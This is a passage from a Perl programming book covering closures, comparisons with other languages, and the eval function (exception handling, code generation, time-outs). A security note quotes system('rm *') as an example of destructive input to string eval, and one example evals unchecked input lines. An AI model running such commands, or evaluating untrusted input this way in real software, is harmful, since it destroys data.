Subroutine even_number_printer_gen takes an integer and returns a subroutine that prints even numbers starting from the given integer.[1] This program is shown in Example 4.3.

[1] This example and explanation are based on Robert Wilensky's excellent book LISPcraft (W.W. Norton and Co.).

Example 4.3: An Even Number Stream Generator

sub even_number_printer_gen {
    # This function returns a reference to an anon. subroutine.
    # This anon. subroutine prints even numbers starting from $input.
    my($input) = @_;
    if ($input % 2) { $input++};  # Next even number, if the given
                                  # number is odd
    $rs = sub {
                print "$input ";  # Using $input,which is a my variable
                                  # declared in an outside scope
                $input  += 2;
             };
    return $rs;   # Return a reference to the subroutine above
}

And now for its usage:

# We want even numbers starting from 30. Ask even_number_printer_gen
# for a customized iterator that can do such a thing.

$iterator = even_number_printer_gen(30);
# $iterator now points to a closure.
# Every time you call it, it prints the next successive even number.
for ($i = 0; $i < 10; $i++) {
    &$iterator();
}
print "\n";

This prints

30 32 34 36 38 40 42 44 46 48

$iterator holds on to $input and uses it as private storage subsequently, storing the last even number. Of course, you can create as many iterators as you want, each primed with its own starting number:

$iterator1 = even_number_print_gen (102);
$iterator2 = even_number_print_gen (22);

&$iterator1(); # Prints 102
&$iterator2(); # Prints 22
&$iterator1(); # Prints 104
&$iterator2(); # Prints 24

Notice how each subroutine reference is using its own private value for $input.

Can two closures share the same variables? Sure, as long as they are created in the same environment. Example 4.4 produces two anonymous functions, one that prints even numbers and another that prints odd numbers. Each of these functions prints out the even (or odd) number after the number last printed (by either function), regardless of how many times either of them is called in succession.

Example 4.4: Closures Sharing Variables

sub even_odd_print_gen {
    # $last is shared between the two procedures
    my ($rs1, $rs2);
    my ($last) = shift;  # Shared by the two closures below
    $rs1 = sub { # Even number printer
        if ($last % 2) {$last ++;}
        else { $last += 2};
        print "$last \n";
    };
    $rs2 = sub { # Odd number printer
        if ($last % 2) {$last += 2 }
        else { $last++};
        print "$last \n";
    };
    return ($rs1, $rs2);   # Returning two anon sub references
}

($even_iter,$odd_iter) = even_odd_print_gen(10);
&$even_iter ();  # prints 12
&$odd_iter ();   # prints 13
&$odd_iter  ();  # prints 15
&$even_iter ();  # prints 16
&$odd_iter  ();  # prints 17

This example takes advantage of the fact that Perl can return multiple values from one subroutine, so there is no problem returning references to two anonymous subroutines, both of which happen to be referring to $last. You can call even_odd_print_gen as many times as you want with different seeds, and it keeps returning pairs of subroutine closures. The important point is that to share the same data, the anonymous subroutines must have been created in the same scope. This example also highlights the fact that a closure truly hangs onto the my variables it needs instead of copying or interpolating the variable's values.

4.4.2.1 Random number generation

Let's turn our attention to a more useful example of an unbounded stream, that of a stream of random numbers. The strategy is identical to that used in the previous example: the iterator keeps track of the last generated pseudo-random number.

You might argue that the rand() function represents an iterator primed with a seed (using srand). You are right. But let's say you want to write a simulation program that depends on two independent sources of random number generation. Using rand in both these sources does not make them independent; the reason is that rand happens to calculate a new random number based on the last number it generated (it stores it in a global variable), and calling rand for one stream affects the next number retrieved by the other stream.

Closures provide a nice solution, because they are a combination of code and private data. Instead of using srand, we'll use the function my_srand, which returns a random-number-generating subroutine, seeded with an appropriate initial value. In other words, my_srand is a "generator of random number generators" that returns a custom anonymous subroutine, primed with an initial value for $rand.

In the implementation in Example 4.5, please don't pay too much attention to the algorithm itself (the linear congruential method), because the randomness due to the particular constants chosen has not been tested (it also repeats every 1,000 numbers). Besides, there are much better algorithms.

Example 4.5: A Random-Number-Generating Stream

sub my_srand {
    my ($seed) = @_;
    # Returns a random number generator function
    # Being predictive, the algorithm requires you to supply a
    # random initial value.

    my $rand = $seed;
        return sub  {
             # Compute a new pseudo-random number based on its old value
             # This number is constrained between 0 and 1000.
             $rand = ($rand*21+1)%1000;
    };
}

We can now use my_srand as many times as we want and get back completely independent closures, each capable of generating random numbers from its own starting point:

$random_iter1 = my_srand  (100);
$random_iter2 = my_srand (1099);
for ($i = 0; $i < 100; $i++) {
    print $random_iter1(), " ", $random_iter2(), "\n";
}

4.4.3 Closures Versus Objects

If you don't have a background in object orientation, you might be able to understand this section better after you have read Section 7.2, "Objects in Perl".

An object, to give the street definition, is a package of data and functions. The data provides the context for the object's functions to work properly. When you say, for example, $button->setForeground("yellow"), the setForeground function automatically knows which button you are talking about.

In a sense, the facility for closures attempts the same feature - it is also a binding between a subroutine and some private data that is available only to that subroutine. As we saw earlier, in the even_odd_print_gen example, there can be any number of subroutines that can refer to the same basic data, as long as they were all created in exactly the same scope. Abelson, Sussman, and Sussman's delightful Structure and Interpretation of Computer Programs [3] illustrates how to create and use such objects in Scheme (a LISP dialect).

Perl supports a number of features for object orientation (such as inheritance and virtual functions � la C++) that make it easier to create iterators and streams in an object-oriented style than by using closures (the object's attributes reflect the "state" of the iterator). Closures are also much more space-intensive than objects but a trifle faster; we will study the reason for this in Chapter 20.

I prefer objects to closures in all cases except one: callback procedures. I find it easier to implement callbacks with simple closures than to create "callback objects," as you might typically do in C++ (and have to, in Java). In the CreateButton example above, you could create a callback object with exactly one "method," say, execute(). The button would call the method $callback_object->execute() when it was clicked upon, and the execute method of that object would know exactly what to do. The callback object can store all the context for execute to work. Instead of all this work, it is simpler and more direct to use closures, because they automatically squirrel away the required context.

Tom Christiansen's perltoot document (toot stands for Tom's Object-Oriented Tutorial [2]) implements objects using closures to represent the objects' state. It is an interesting approach, but I don't use it because there are simpler approaches for obtaining privacy; besides, they are faster too. More on this in Chapter 7, Object-Oriented Programming.

Previous: 4.3 Closures | Advanced Perl Programming | Next: 4.5 Comparisons to Other Languages
4.3 Closures | Book Index | 4.5 Comparisons to Other Languages


[Chapter 4] 4.5 Comparisons to Other Languages

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

4.5 Comparisons to Other Languages

4.5.1 Tcl

Tcl programmers rely heavily on dynamic evaluation (using eval) to pass around bits and pieces of code. While you can do this in Perl also, Perl's anonymous subroutines are packets of precompiled code, which definitely work faster than dynamic evaluation. Perl closures give you other advantages that are not available in Tcl: the ability to share private variables between different closures (in Tcl, they have to be global variables for them to be sharable) and not worry about variable interpolation rules (in Tcl, you have to take care to completely expand all the variables yourself using interpolation before you pass a piece of code along to somebody else).

4.5.2 Python

Python offers a weak form of closures: a subroutine can pick up variables only from its immediate containing environment. This is called "shallow binding," while Perl offers "deep binding." Mark Lutz's Programming Python (O'Reilly, 1996) shows a workaround to achieve deep binding, by setting default arguments to values in the immediately enclosing scope.

I prefer the environment to handle this stuff automatically for me, as Perl does.

4.5.3 C++

C++ supports pointers to subroutines but does not support closures. You have to use the callback object idiom wherever a callback subroutine needs some contextual data to operate. If you don't want a separate callback object, you can inherit your object from a standard callback class and override a method called, say, "execute," so that the caller can simply say callback_object->execute().

4.5.4 Java

Java offers neither closures nor pointers to subroutines (methods). Interfaces can be used to provide a standardized callback interface so that the caller doesn't have to care about the specific class of the object (as long as it implements that interface).

Previous: 4.4 Using Closures | Advanced Perl Programming | Next: 4.6 Resources
4.4 Using Closures | Book Index | 4.6 Resources


[Chapter 4] 4.6 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

4.6 Resources

  1. perlref, perlmod, perlsub, perltoot (Perl documentation).

  2. Structure and Interpretation of Computer Programs. Harold Abelson, Gerald Jay Sussman, Julie Sussman. MIT Press, 1996.

    Uses LISP to explain higher-order procedures and closures. A pleasure to read.

Previous: 4.5 Comparisons to Other Languages | Advanced Perl Programming | Next: 5. Eval
4.5 Comparisons to Other Languages | Book Index | 5. Eval


[Chapter 5] Eval

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 4.6 Resources Chapter 5 Next: 5.2 The Block Form: Exception Handling

5. Eval

Contents:
The String Form: Expression Evaluation
The Block Form: Exception Handling
Watch Your Quotes
Using Eval for Expression Evaluation
Using Eval for Efficiency
Using Eval for Time-Outs
Eval in Other Languages
Resources

One person's data is another person's program.

- Programming Pearls, Communications of the ACM, Sept. 1985

Years ago, a friend of mine showed me an elegant program running on a tiny 48K machine, the BBC Micro, that accepted any mathematical expression such as sin(x) + cos (x**2) and graphed it. Fresh from a study of parsers, I'd wondered how many hundreds of lines it took him to write it. He showed me the code; the entire program fit on the small screen. He had used the eval statement provided by BASIC.

Most self-respecting scripting languages such as BASIC (some versions, anyway), Perl, Tcl, LISP, and Python have a feature that clearly sets them apart from systems programming languages like C: the ability to treat character strings as little programs.[1]

[1] On a related note, see the section "Dynamic Behavior" in Section 20.22 for other Perl constructs that set Perl apart from systems programming languages.

For me, Perl's run-time evaluation capability is one of the biggest reasons for using the language. (The other is its terrific support for regular expressions.) I use run-time evaluation for creating little snippets of code on the fly, which then execute at typical Perl speeds (i.e., fast!), for writing sophisticated interpreters for little languages.[2] The eval function is the gateway to this power. We will use this feature in Chapter 7, Object-Oriented Programming, for creating object accessor functions, and in Chapter 11, Implementing Object Persistence, for building an SQL query evaluator, among other things.

[2] For a delightful discussion of little languages, do have a look at Jon Bentley's More Programming Pearls [3].

As it turns out, Perl's eval function works in two somewhat distinct ways, depending on the type of its argument. If given a string, eval treats the string as a little program and compiles and executes it (as mentioned above); this is called dynamic expression evaluation. The contents of the string may or may not be known at compile time. Alternatively, if given a block of code - that is, the code is known at compile time - eval traps run-time exceptions.

Dynamic expression evaluation and exception handling are very different topics and one would expect them to be performed by different keywords. Larry Wall once mentioned that he had toyed with the idea of using a different keyword, try, for the exception-handling version, but he was into keyword conservation at that point. I find that a single keyword actually works well because expressions evaluated on the fly have a greater chance of generating run-time exceptions as code known at compile-time.

In this chapter, you will gain an in-depth understanding of how the two forms of eval work and add an important dimension to your toolkit of idioms.

5.1 The String Form: Expression Evaluation

When Perl is given a file to execute or a string as a command line option (using -e), it needs to parse the contents, check it for syntax errors, and, if all is fine, execute it. Perl makes this feature available to the programmer through the eval string form. This contrasts powerfully with languages such as C, C++, or Java, where the compiler itself is a separate beast from your program, not available to it at run-time. In other words, the Perl interpreter itself works somewhat like this:

# Slurp in the entire file
while ($line = <>) {
    $str .= $line;   # Accumulate the entire file.
}

# $str now contains the entire file. Execute it !
eval $str;

As you can see, eval handles any Perl script handed to it. The beauty of this thing is that this facility is available not just to Larry, but to mortals like you and me. Try this:

# put some code inside $str
$str = '$c = $a + $b'; # Perl doesn't care what's inside $str
$a = 10; $b = 20;
eval $str;             # Treat $str as code, and execute it.
print $c;              # prints 30

In this snippet, $str is treated as an ordinary string at first, because that is what it is. But eval thinks of it as a program and executes it. The important point is that it doesn't think of it as a separate program, but as if it belonged right there in the original code instead of the eval statement, as shown in Figure 5.1.

Figure 5.1: eval compiles and executes the string in its own context

For this reason, the string that is given to eval can use variables and subroutines available to it at that point, including my and local variables, and optionally produce new ones in the same environment. In the preceding example, the string given to eval adds two initialized variables ($a and $b) and produces a new variable, $c.

If you have more than one statement inside the string (remember that the string can be as big a program as you want), eval evaluates all of them and returns the result of the last evaluation:

$str = '$a++; $a + $b'; # Contains two expressions
$a = 10; $b = 20;
$c = eval $str; # $c gets 31 (result of the 2nd expression, $a+$b)

Of course, it's quite pointless to eval a piece of code that you know at compile time, as in the example above. Things get interesting if $str comes from elsewhere - standard input, a file, or over the network. We will shortly look at some examples that make use of this.

NOTE: The string form of eval is a security risk. If the string argument comes from an untrusted source and contains, say,

system('rm *')

the code would be merrily executed - and result in a distinct lack of merriment on your part. In situations in which you cannot trust input, you can use the taint-checking option provided by Perl, which prevents you from using data derived from outside the program to affect files or things outside the program [5]. You can also use the Safe module bundled with the Perl distribution, which provides safe compartments in which to eval strings, similar to the environment that a web browser provides for Java or Tcl/Tk applets.

What if $str doesn't contain a valid Perl expression? Perl then puts an error message in a special variable called $@ (or $EVAL_ERROR, if you use the English module). Since eval compiles the string before actually executing it, this can be either a compilation or a run-time error. $@ is guaranteed to be undef if $str contains error-free code (well, I should say free of syntax errors, because it can't really protect you against flawed logic).

Since eval is used by the Perl interpreter itself to parse and execute a given script, the error strings (in $@) are exactly those you see on the standard error output when processing a flawed script.

There is one subtle, yet important, point that needs to be mentioned. eval treats the string as a block, which is why it is able to process a number of statements (not just expressions) and return the value of the last statement. This also means that you don't see the changes to localized or lexical variables present in the eval'ed string.

Previous: 4.6 Resources | Advanced Perl Programming | Next: 5.2 The Block Form: Exception Handling
4.6 Resources | Book Index | 5.2 The Block Form: Exception Handling


[Chapter 5] 5.2 The Block Form: Exception Handling

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

5.2 The Block Form: Exception Handling

In this form, eval is followed by a block of code, not a scalar containing a string. It is used for handling run-time errors, or exceptions. Errors can be internal built-in ones (out-of-memory, divide-by-zero) or user-defined ones produced by die.

The following example shows how you can use the block form eval to trap a run-time divide-by-zero error:

eval {
     $a = 10; $b = 0;
     $c = $a / $b;     # Causes a run-time error,
                       # which is trapped by eval
};
print $@;   # Prints  "Illegal division by 0 at try.pl line 3

When the script is compiled, Perl syntax-checks the block of code and generates code. If it encounters a run-time error, Perl skips the rest of the eval block and sets $@ to the corresponding error text.

To signal your own errors, you use die. Perl knows whether a piece of code is currently executing inside an eval, and so, when die is called, Perl simply gives the error string - die's argument - to the global $@, and jumps to the statement following the eval block. In the following example, open_file invokes die if it has trouble opening a file. To use this function, wrap it inside an eval.

sub open_file {
    open (F, $_[0]) || die "Could not open file: $!";
}

$f = 'test.dat';
while (1) {
    eval {
          open_file($f);   # if open_file dies, the program doesn't quit
    };
    last unless $@;     # no error: break out of the loop.
    print "$f is not present. Please enter new file name $f";
    chomp($f = <STDIN>);
}

Java/C++ programmers would of course recognize the parallel to the throw, try, and catch statements, where try corresponds to the eval block, catch to the checking of $@, and throw to die. (Essentially, the caller says to the run-time environment, "Here, try this code, and catch whatever errors are thrown by the callee.")

One thing I like a lot about the Java environment is that both the interpreter and the standard libraries make extensive and consistent use of try, throw, and catch for error handling. In some ways, using these constructs is better than simply returning an error code, because it requires the programmer to pay attention to errors (if you ignore the error, the program dies).

In C++ and Java, a function can rethrow an exception if it doesn't want to handle it itself. In Perl, you can do so by calling die without arguments:

eval {
    ...
};
if ($@ =~ /sorry, bucko/) {
    ....
} else {
   # hmm .. don't know what to do with it.
   die;  # Identical to die $@
}

If there is an enclosing eval block, this exception will be caught; otherwise, the program terminates.

5.2.1 Standard Modules

Since C++ and Java contain special constructs for trapping and handling errors, some Perl programmers would like them too. Here are a couple of options.

5.2.1.1 Exception.pm

As this book goes to press, a new module, Exception, built over eval and die, is just being announced to CPAN. You need to understand Perl's support for object orientation to understand the following small example, so you might want to revisit this example on a subsequent reading.

This snippet throws exceptions if you attempt to withdraw more than $300 or exceed the current balance:

use Exception;
package AmountExceededException; # User-defined exception
@ISA = ('Exception');

package OverdraftException;      # User-defined exception
@ISA = ('Exception');

package BankAccount;
sub withdraw_money {
    my $amount = shift;
    if ($amount > 300) {
        throw new AmountExceededException;
    }
    if ($amount > $balance) {
         throw new OverdraftException;
    }
    ...    # Change balance
}

try {
    print "How much do you need?"; chomp($amount = <STDIN>);
    withdraw_money ($amount);
}
catch AmountExceededException =>
               sub {print 'Cannot withdraw more than $300'},
      OverdraftException      =>
               sub {print $_[0]->message},
      Default =>
               sub {print "Internal error. Try later"};

5.2.1.2 exceptions.pl

The standard Perl library currently has a module called exceptions.pl, which is also a thin wrapper over eval and die and provides subroutines called catch and throw. catch takes a piece of code as a string (instead of as a block, as the previous example) and a list of regular expressions to match against the error string when it eval's the code.

This module has one serious problem, which is actually solved by the newer module, Exception.pm: because catch is a subroutine, lexical variables in the current scope (localized with my) are not available to it.

I suspect that programmers disdain making a language look like another;[3] in the final analysis, using eval and die in the raw is probably the easiest option.

[3] That excludes Larry Wall, considering that he designed Perl to look like C, sh, and awk!

Previous: 5.1 The String Form: Expression Evaluation | Advanced Perl Programming | Next: 5.3 Watch Your Quotes
5.1 The String Form: Expression Evaluation | Book Index | 5.3 Watch Your Quotes


[Chapter 5] 5.3 Watch Your Quotes

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

5.3 Watch Your Quotes

There are some subtleties associated with the way quotes or blocks are interpreted by Perl. Consider the differences between the following statements:

$str = '$c = 10';
#
eval  $str;     # 1
eval  "$str";   # 2
eval  '$str';   # 3
eval  { $str }; # 4

Cases 1 and 2 have identical results, and cases 3 and 4 behave identically. Can you see why? The trick is to know what the interpreter does before handing it over to eval.

In case 1, Perl gives the contents of $str to eval, just as it would for any other function. Hence eval sees the string '$c = 10', treats it like a little program, and executes it.

In case 2, Perl does variable interpolation on the double-quoted string before handing it over to eval. Again, eval sees the contents of $str, compiles it, and executes it, assigning 10 to $c.

In case 3, the argument to eval is a single-quoted string, which is not expanded during the variable interpolation stage. For this reason, eval sees a hardcoded string (with the characters "$", "s", "t", "r") and treats it like a little program as before. As a standalone program, it is quite useless, of course. Since eval returns the result of the last expression, it returns the value of $str (the string $c = 10). That is, if you say,

$s = eval '$str';

$s will contain $c = 10.

Case 4 is identical to case 3, except that the code inside the block is checked for syntax errors at compile-time (at the same time as the rest of the script).

That's all there is to know about eval. Now, let us see how to use it for expression evaluation, exception handling, and efficiency.

Previous: 5.2 The Block Form: Exception Handling | Advanced Perl Programming | Next: 5.4 Using Eval for Expression Evaluation
5.2 The Block Form: Exception Handling | Book Index | 5.4 Using Eval for Expression Evaluation


[Chapter 5] 5.4 Using Eval for Expression Evaluation

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

5.4 Using Eval for Expression Evaluation

There are a number of tasks, such as parsing and expression evaluation, in which you can make Perl do all the dirty work. Assuming, of course, that your parsing requirements are similar to Perl's own. Perl, after all, knows a thing or two about parsing and evaluating Perlish statements!

Let's assume that your input data is a bunch of quoted strings and you would like to verify that the quotes are balanced:

'He said, "come on over"'
'There are times when "Peter" doesn\'t work at all'

Instead of fretting over backslash escapes and writing code to check whether the quotes are correctly paired (balanced), you can simply eval the strings, as shown in Example 5.1. Remember that a string is a correct Perl expression too. If Perl puts an error in $@, you can be sure you have faulty input.

Example 5.1: eval.pl

while (defined($s = <>)) {          # Read a line into $s
    $result = eval $s;              # Evaluate that line
    if ($@) {                       # Check for compile or run-time errors.
        print "Invalid string:\n $s";
    } else {
        print $result, "\n";
    }
}

The neat thing about this code is that it works equally well as a fancy calculator, because $s can be any valid Perl statement, with arithmetic operators, loops, variable assignments, subroutines, and so on. Here's how you might use the program:

% perl eval.pl
2 * log (10);
4.60517018598809
$a = 10; $a += $a ** 2;
110
for (1..10) {print $_ , " " }
1 2 3 4 5 6 7 8 9 10

For each line you enter, Perl computes and prints out the result (shown in non-bold type). How much simpler a shell can you possibly ask for? Note that the code requires each input line to be a fully formed expression, so you cannot write multiline expressions, but you can always change the program to start evaluating only when the user enters a blank line.

It is worth contrasting these few lines with the effort of learning lex and yacc - see, for example, the yacc, lex, and C-based calculator ("hoc") developed by Kernighan and Pike in their classic, The Unix Programming Environment. Other static languages such as Java and C++ present similar challenges: you are forced to reinvent the wheel, since you don't have access to the power of the compiler itself.

5.4.1 Expression Evaluation in Substitutions

The Perl substitution operator is ordinarily of the form s/regex/replacement/ and substitutes the replacement string wherever the input string matches the regular expression pattern. The /e flag adds a twist to this: it tells the substitution operator that the second part is a Perl expression, not an ordinary replacement string; the result of the expression is used as the replacement instead. Consider

$line = 'Expression Evaluation';
$line =~ s/(\w+)/ scalar (reverse($1)) /eg;
print $line; # prints "noisserpxE noitaulavE"

The second parameter to the substitute operator is an expression: reverse is used in a scalar context to reverse the string given to it. The /g flag ensures that every word is matched and reversed.

This topic is somewhat tangential to the eval keyword, but it is still germane to our discussion about run-time expression evaluation; in fact, /e stands for "expression," not for "eval." This expression is checked for syntax at compile-time, so if you need to watch for run-time errors, you still need to put the entire statement within an eval block. Consider another example, which replaces any string containing the pattern "number/number" with an equivalent fraction:

$l = 'His chances of winning are between 2/5 and 1/3';
eval {
    $l =~ s|(\d+)/(\d+)| $1 / $2 |eg;
};
print $l unless $@;

This prints "His chances of winning are between 0.4 and 0.333333333333333." The eval block traps divide-by-zero errors.

Previous: 5.3 Watch Your Quotes | Advanced Perl Programming | Next: 5.5 Using Eval for Efficiency
5.3 Watch Your Quotes | Book Index | 5.5 Using Eval for Efficiency


[Chapter 5] 5.5 Using Eval for Efficiency

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

5.5 Using Eval for Efficiency

Here are some examples where run-time evaluation can greatly speed up execution.

5.5.1 A Fast Multipattern grep

Consider a grep-like Perl script that can search for any number of patterns and print out only those lines that match all the given patterns (the order of the patterns being unimportant). You might structure the code like this:

while ($s = <>) {
    $all_matched = 1;     # start by assuming all patterns match $s
    foreach $pat (@patterns) {
       if ($s !~ /$pat/) {
            $all_matched = 0; # No, our assumption was wrong
            last;
        }
    }
    print $s if $all_matched;
}

The problem with this code is that the regular expression (/$pat/) is compiled afresh for every line and for every pattern. That is, if you have, say, 10,000 lines in the text to be searched, and three patterns to search for, a.*b, [0-9], and [^def], the patterns will be compiled 30,000 times. The /o flag, which tells Perl to compile the regular expression, cannot be used here because $pat can vary as the program executes.

The fastest approach would be to hardcode the patterns as shown next. Unfortunately, it is also the least reusable approach.

while ($s = <> ) {
    if (  ($s =~ /a.*b/) &&
          ($s =~ /[0-9]$/) &&
          ($s =~ /[^def]/)) {
        print $s;
    }
}

The good news is that it is possible to get this level of efficiency without losing generality. The idea is to hand-craft the "hard-wired" code above at run-time and then to eval it.

The strings constituting the code to be generated are shown in bold in Example 5.2.

Example 5.2: Compiling Regular Expression Strings for Blazing Speed

$code = 'while (<>) {';
$code .= 'if (/';
$code .= join ('/ && /', @patterns);
$code .= '/) {print $_;}}';
print $code, "\n";
eval $code;   # Ahh, finally !
# Check if faulty regular expressions given as input patterns
die "Error ---: $@\n Code:\n$code\n"    if ($@);

If @patterns contains the three strings "^abc", "ghi", "efg$", for example, the code supplied to eval looks like this:

while (<>) {if (/^foo/ && /bar$/ && /ghi/) {print $_;}}

One way to make this example even more efficient is to sort the patterns such that those patterns with beginning- or end-of-line markers (^ and $) are evaluated first. It is much faster to check for a pattern anchored to the beginning or end of the line than to search all over the string. Another enhancement to make is for the user to supply the Boolean operator instead of hardcoding &&. See the perlfaq6 document (FAQ on regular expressions) that is bundled with the Perl distribution.

5.5.2 Extracting Columns from a File

Let us look at another example that builds and evaluates Perl code dynamically, for efficiency. We build a program called col, which extracts columns from a file, similar to the Unix cut(1) command. It is invoked as shown below:

% col -s80 8-14 20+8 test.dat

This invocation treats test.dat as a fixed-format file with 80-column records and extracts two columns from each record, one starting at character position 8 and ending at 14 (the index of the leftmost column is 1, not 0) and the other going from 20 through 28, as shown in Figure 5.2. If the -s option is not given, the script treats newlines as record terminators and reads the file line by line. col allows column ranges to overlap.

Figure 5.2: Using col for extracting columns

You already know that substr extracts substrings given a starting location and the substring length. Writing col is a simple matter of calling substr in a loop, once for each range given on the command line:

for each line in the file {
     for each column range in the command line arguments {
         print substr (line, range);
     }
}

As an aside, we don't use unpack instead of substr because we would like the input ranges to overlap.

A more efficient alternative to the preceding solution is to "flatten the loop" and use constants wherever possible, as shown in the following code snippet (for the specific command-line invocation above). For each record read from a file, this code extracts the substring indicated by input range and pads it with spaces as necessary. It also appends a delimiter ("|") to each extracted column.

#PART 1 ---------------------------------------------------------
sub col {
   my $tmp;
   while (1) {
      $s = get_next_line();
      $col = "";

#PART 2 ----------------------------------------------------------
      $s .= ' ' x (14 - length($s))  if (length($s) < 14);
      $tmp = substr($s, 7, 7);
      $tmp .= " " x (7 - length($tmp));
      $col .= '|' . $tmp;
      $s .= ' ' x (28 - length($s))    if (length($s) < (28));
      $tmp = substr($s, 19, 9);
      $tmp .= " " x (9 - length($tmp));
      $col .= '|' . $tmp;

#PART 3 ----------------------------------------------------------
      print $col, "\n";
   }
}

$tmp contains one column at any time, and $col accumulates each such column to be output and is finally printed.

Given the command line as shown, let's compose this subroutine at run-time. Notice that parts 1 and 3 are independent of the command-line arguments. Part 2, which extracts all the columns in each line, is the only one that is shaped by command-line arguments.

As was mentioned earlier, you must watch your quotes carefully. Assume that $col1 and $offset hold 7 and 6, respectively, so that we need to insert this line of code into our executable string:

$tmp = substr($s, 7, 6);

Here is how we can generate this line:

$code = '$tmp = substr($s, ' . "$col1, $offset)";

Note how we use single and double quotes to carefully control variable interpolation. Example 5.3 shows the three parts being generated by generate_part1, generate_part2, and generate_part3. The subroutine get_next_line converts tabs to equivalent spaces to preserve the visual effect of a tab. generate_part3 also evals this generated code and introduces the new subroutine col. As before, the strings representing the code are shown in bold lettering.

Example 5.3: col: A Script to Extract Columns from a File

# Extracts columns of text from a file
# Usage : col [-s<n>] col-range1, col-range2, files ...
# where col-range is specified as col1-col2 (column 1 through column2)
#         or col1+n, where n is the number of columns.
$size = 0;          # 0 => line-oriented input, else fixed format.
@files = ();        # List of files
$open_new_file = 1; # force get_next_line() to open the first file
$debugging = 0;     # Enable with -d commmand line flag
$col = "";
$code = "";
generate_part1();
generate_part2();
generate_part3();
col();           # sub col has now been generated. Call it !
exit(0);

#------------------------------------------------------------------
sub generate_part1 {
    # Generate the initial invariant code of sub col()
    $code  = 'sub col { my $tmp;';           # Note the single quotes
    $code .= 'while (1) {$s = get_next_line(); $col = "";';
    $delimiter = '|';
}

#------------------------------------------------------------------
sub generate_part2 {
    # Process arguments
    my ($col1, $col2);
    foreach $arg (@ARGV) {
        if (($col1, $col2) = ($arg =~ /^(\d+)-(\d+)/)) {
            $col1--;# Make it 0 based
            $offset = $col2 - $col1;
            add_range($col1, $offset);
        } elsif (($col1, $offset) = ($arg =~ /^(\d+)\+(\d+)/)) {
            $col1--;
            add_range($col1, $offset);
        } elsif ($size = ($arg =~ /-s(\d+)/)) {
            # noop
        } elsif ($arg =~ /^-d/) {
            $debugging = 1;
        } else {
            # Must be a file name
            push (@files, $arg);
        }
    }
}

#------------------------------------------------------------------
sub generate_part3 {
    $code .= 'print $col, "\n";}}';

    print $code if $debugging; # -d flag enables debugging.
    eval $code;
    if ($@) {
        die "Error ...........\n $@\n $code \n";
    }
}

#------------------------------------------------------------------
sub add_range {
    my ($col1, $numChars) = @_;
    # substr complains (under -w) if we look past the end of a string
    # To prevent this, pad the string with spaces if necessary.
    $code .= "\$s .= ' ' x ($col1 + $numChars - length(\$s))";
    $code .= "    if (length(\$s) < ($col1+$numChars)
);";
    $code .= "\$tmp = substr(\$s, $col1, $numChars);";
    $code .= '$tmp .= " " x (' . $numChars .  ' - length($tmp));';
    $code .= "\$col .= '$delimiter' . \$tmp; ";
}

#------------------------------------------------------------------
sub get_next_line {
    my($buf);

  NEXTFILE:
    if ($open_new_file) {
        $file = shift @files || exit(0);
        open (F, $file) || die "$@ \n";
        $open_new_file = 0;
    }
    if ($size) {
        read(F, $buf, $size);
    } else {
        $buf = <F>;
    }
    if (! $buf) {
        close(F);
        $open_new_file = 1;
        goto NEXTFILE;
    }
    chomp($buf);
    # Convert tabs to spaces (assume tab stop width == 8)

    # expand leading tabs first--the common case
    $buf =~ s/^(\t+)/' ' x (8 * length($1))/e;

    # Now look for nested tabs. Have to expand them one at a time - hence
    # the while loop. In each iteration, a tab is replaced by the number of
    # spaces left till the next tab-stop. The loop exits when there are
    # no more tabs left
    1 while ($buf =~ s/\t/' ' x (8 - length($`)%8)/e);

    $buf;
}

get_next_line uses the substitute operator's /e option to remove tabs. Can you guess why we have to use the while loop instead of the /g option? The reason is that to expand a tab to the correct number of spaces, we have to know where the tab and the next tab stop are located. This means we have to know the number of characters from the beginning of the line to the tab, which is obtained by computing length($`). In the next iteration, this length needs to account for the previously expanded tab. While /g does a global replace, it never revisits a substituted portion (that is, it always moves forward), with the result that by using this option, you can never find out how long the partially substituted string is at any point. Instead, we use the while loop to traverse the string from the beginning for each tab found.

Previous: 5.4 Using Eval for Expression Evaluation | Advanced Perl Programming | Next: 5.6 Using Eval for Time-Outs
5.4 Using Eval for Expression Evaluation | Book Index | 5.6 Using Eval for Time-Outs


[Chapter 5] 5.6 Using Eval for Time-Outs

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

5.6 Using Eval for Time-Outs

When you call eval, Perl makes a note of the next statement to start executing just in case a die is invoked somewhere within. Internally, die happens to invoke a longjmp, so Perl wastes no time at all transferring control back up to the statement following eval, regardless of how deep the stack is. (All temporary and local variables created in the eval'ed code are automatically garbage collected.)

The use of setjmp and longjmp internally gives us one new technique: aborting blocked system calls and infinite loops. Let's say you want to wait at most 10 seconds for the user to type something.[4] If you say $buf = <>, the program is blocked until the user deigns to hit a carriage return, but we would like Perl to abort it after waiting 10 seconds. Generating a time-out is not really a problem; the built-in function alarm() can be used to generate an ALRM signal after a given number of seconds, like this:

$SIG{ALRM} = \&timed_out;
alarm(10);      # Tells the OS to issue an ALRM signal after 10 seconds
$buf = <>;      # Go into a blocking read

[4] Thanks to Tom Christiansen for this example.

The procedure timed_out is called (after 10 seconds) regardless of what Perl happens to be executing at that time, be it a blocked read or an infinite loop. The problem is, how does timed_out force Perl to abandon what Perl happened to be doing at the time it was called? That's where eval/die come in. Put an eval around $buf = <> and a die inside timed_out(), and control will be restored to the statement following eval (the if statement), as shown here:

$SIG{ALRM} = \&timed_out;
eval {
    alarm (10);
    $buf = <>;
    alarm(0);           # Cancel the pending alarm if user responds.
};
if ($@ =~ /GOT TIRED OF WAITING/) {
    print "Timed out. Proceeding with default\n";
    ....
}

sub timed_out {
    die "GOT TIRED OF WAITING";
}

If the user doesn't hit a return within 10 seconds, timed_out is called from the signal handler, which calls die, which internally longjmps over to the statement following the innermost eval. If the user does hit a return within the allotted time, alarm(0) is called to reset the alarm.

Note that if the alarm goes off, $@ contains something like "GOT TIRED OF WAITING at foo.pl line 100," so you cannot use eq; you must use a regular expression match (or the index operator).

Tom Christiansen pointed out a subtle and interesting point. It is essential that you set alarm inside the eval block, because on a heavily loaded machine (and for small time-out periods), it is possible to lose the time-slice after the call to alarm and before it has a chance to enter the protected section (the eval block). Later on, when the program regains the time-slice, it is possible that the time-out interval has expired, and the program will abort.

